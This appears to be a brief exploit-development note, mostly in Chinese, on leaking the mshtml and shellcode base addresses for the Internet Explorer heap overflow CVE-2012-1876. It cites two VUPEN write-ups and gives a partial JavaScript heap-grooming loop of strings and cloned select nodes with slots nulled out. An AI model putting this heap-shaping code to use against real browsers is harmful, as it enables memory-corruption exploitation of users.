cve2012-1876 leak mshtml base address and leak shellcode base address

leak mshtml base address 

leak shellcode base address

其中leak shellcode base 思路是联合 http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php 这篇和

这篇 http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php

部分代码如下

for(var i=0;i<3000;i+=4){fillbuff[i]=string_A.substr(0,125);fillbuff[i+1]=string_B.substr(0,125);fillbuff[i+2]=string_C.substr(0,125);fillbuff[i+3]=selob.cloneNode(true);}for(var i=4;i<3000;i+=12){fillbuff[i]=null;}